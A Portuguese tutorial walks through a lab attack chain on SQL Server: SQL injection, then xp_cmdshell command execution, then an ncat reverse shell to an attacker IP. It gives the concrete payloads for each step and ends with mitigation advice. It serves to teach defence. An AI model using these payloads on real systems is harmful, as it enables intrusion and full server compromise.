Sumário
- Introdução
- Premissas
- Passo 1: Aplicação vulnerável à SQLi
- Passo 2: Funcionalidade CmdShell do SQL Server
- Passo 3: Juntando SQLi com o CmdShell
- Passo 4: Comprometendo o servidor com Reverse Shell
- Conclusão
Introdução
O objetivo é demonstrar que nas condições certas, é possível escalar o impacto de um simples SQLi (SQL Injection) para um RCE (Remote Code Execution), que por sua vez evoluir para um Reverse Shell, entregando acesso completo à rede interna de uma empresa a partir do servidor do banco de dados.
Os impactos conhecidos do SQLi já são suficientemente desastrosos, porém como nada é tão ruim que não possa piorar, também é possível comprometer o servidor associado à aplicação.
Premissas
- Aplicação vulnerável a SQLi, qualquer linguagem ou tecnologia;
- Banco de dados SQL Server;
- Usuário da aplicação conectado ao banco de dados com privilégios de alteração de configurações ou com a opção xp_cmdshell pré-habilitada;
Passo 1: Aplicação vulnerável à SQLi
Nesta demonstração iniciei uma aplicação web simples, vulnerável à SQLi. A função é uma busca pelo nome de uma pessoa em uma tabela de usuários.
Código vulnerável:
1 | var command = new SqlCommand("Select Nome from Usuarios where Nome = '" + input + "'", conn); |
Para testar o conceito, podemos utilizar o payload básico ' OR 1=1;--
para demonstrar a vulnerabilidade:
Inserindo o payload e resultado obtido
Passo 2: Funcionalidade CmdShell do SQL Server
A funcionalidade xp_cmdshell é uma opção avançada, e extremamente poderosa (portanto perigosa), que o SQL Server possui. A opção executa um comando de Windows através de SQL, retornando o resultado através de linhas. Clique aqui para a documentação oficial.
Por exemplo, através da instância podemos executar comandos para listar os arquivos .exe
do diretório:
1 | EXEC xp_cmdshell 'dir *.exe'; |
Ou saber as informações da instância:
1 | EXEC xp_cmdshell 'whoami'; |
Estes mesmos comandos podem ser executados diretamente da aplicação que está conectada ao banco de dados.
Para que esta opção possa ser utilizada, é necessário ativar as configurações avançadas e também a opção xp_cmdshell, conforme abaixo:
1 | EXEC sp_configure 'show advanced options',1;RECONFIGURE |
Por padrão, estas opção estão com o valor 0
, indicando a impossibilidade da execução direta. Porém, caso o usuário conectado ao banco de dados possua permissão para tal (o famoso ‘sa’ full access), basta executar os comandos referenciados acima previamente, para ativação da funcionalidade.
Passo 3: Juntando SQLi com o CmdShell
Agora que possuímos os elementos necessários, basta um pouco de criatividade e insistência para explorar os caminhos necessários para causar um grande impacto.
Partindo do princípio que o SQL Server não possui as opções avançadas ligadas, podemos então explorar o SQLi para habilitar as condições necessárias:
Payload executadas na aplicação:
1 | > ';EXEC sp_configure 'show advanced options',1;RECONFIGURE-- |
A partir desse momento, já é possível executar qualquer comando diretamente no servidor em que se encontra o banco de dados, caracterizando o RCE.
Tomamos como exemplo a manipulação de uma arquivo que está na pasta temp:
Então, executando um simples comando ‘move’ para provar o conceito, com o payload pela aplicação web
1 | ';EXEC xp_cmdshell 'move c:\temp\teste.txt c:\temp\teste2.txt'-- |
Se parássemos aqui, já teríamos consequências suficientes para interrupção de toda uma operação, considerando possibilidades como:
- Exclusão de arquivos
- Manipulação de informações
- Causa de indisponibilidade
- Quebra de confidencialidade e integridade das informações
- … e por aí vai
Passo 4: Comprometendo o servidor com Reverse Shell
Agora com o RCE confirmado, é possível evoluir para o Reverse Shell, onde através do servidor impactado entregaremos o acesso direto e completo à máquina do atacante, dispensando a aplicação como meio.
Para demonstração desta parte, configurei um servidor virtual com Kali Linux, simulando a máquina do atacante. Nesta máquina, ativado um listener para a porta 3000
através do netcat
1 | nc -nlp 3000 -v |
Voltando à exploração RCE, basta prepararmos um payload para que o servidor da vítima se comunique com o servidor do atacante, entregando através do IP e o servidor pré-determinado, o command do Windows (cmd.exe).
Comando a ser executado (192.168.101.125
é o endereço IP do servidor do atacante):
1 | ncat 192.168.101.125 3000 -e c:\windows\system32\cmd.exe |
Como o comando será executado no contexto do usuário do banco de dados, é preciso passar o caminho completo do acionamento do netcat:
1 | where ncat |
Então, podemos preparar o payload para enviar através da aplicação;
1 | ';EXEC xp_cmdshell '"C:\Program Files (x86)\Nmap\ncat.exe" 192.168.101.125 3000 -e c:\windows\system32\cmd.exe'-- |
Se voltarmos para a visão da máquina do atacante, é possível verificar que a conexão foi realizada. A partir deste momento, é como se o atacante estivesse fisicamente no servidor da vítima executando qualquer comando que desejasse pela linha de comando do Windows.
Conclusão
Com o comprometimento completo do servidor, a vítima fica à mercê do atacante com o tipo de estrago ou extorsão a ser realizado. Caso este servidor não esteja uma rede DMZ, a escalação pode prosseguir com navegação lateral pelos servidores e estações de uma organização, causando ainda mais estragos.
Algumas sugestões de possíveis impactos:
- Exclusão total dos arquivos e dados do servidor ou banco de dados
- Instalação de Ransonware’s
- Mineração criptomoeda
- Nó para atividades criminal
- Extração e vazamento de dados
- Monitoramento silencioso
Não basta atentarmos que as aplicações não estejam vulneráveis à SQLi, para uma melhor eficiência nas mitigações de segurança, é preciso trabalhar para que o attack chain seja quebrado, ou seja, impedir um possível ataque evolua em vários pontos.
Isto quer dizer que qualquer um desses casos abaixo iria mitigar a exploração e os impactos sofridos:
- Não utilização do usuário ‘sa’ ou com altos privilégios de alteração de configurações do banco de dados, como usuário que a aplicação se conecta.
- Isolamento do servidor do database do resto da estrutura - DMZ.
- Compartilhamento da instância do banco de dados com outras aplicações. O comprometimento pode se originar daquela antiga aplicação esquecida, que ninguém usa.
As recomendações não se limitam a esta pequena lista, mas servem para instigar que todos os processos e estruturas sejam pesadas para mitigar a evolução de uma vulnerabilidade encontrada na ponta.
O foco demonstrado aqui foi com o banco de dados SQL Server, porém podem existir funções equivalentes em outros databases, aqui não explorado.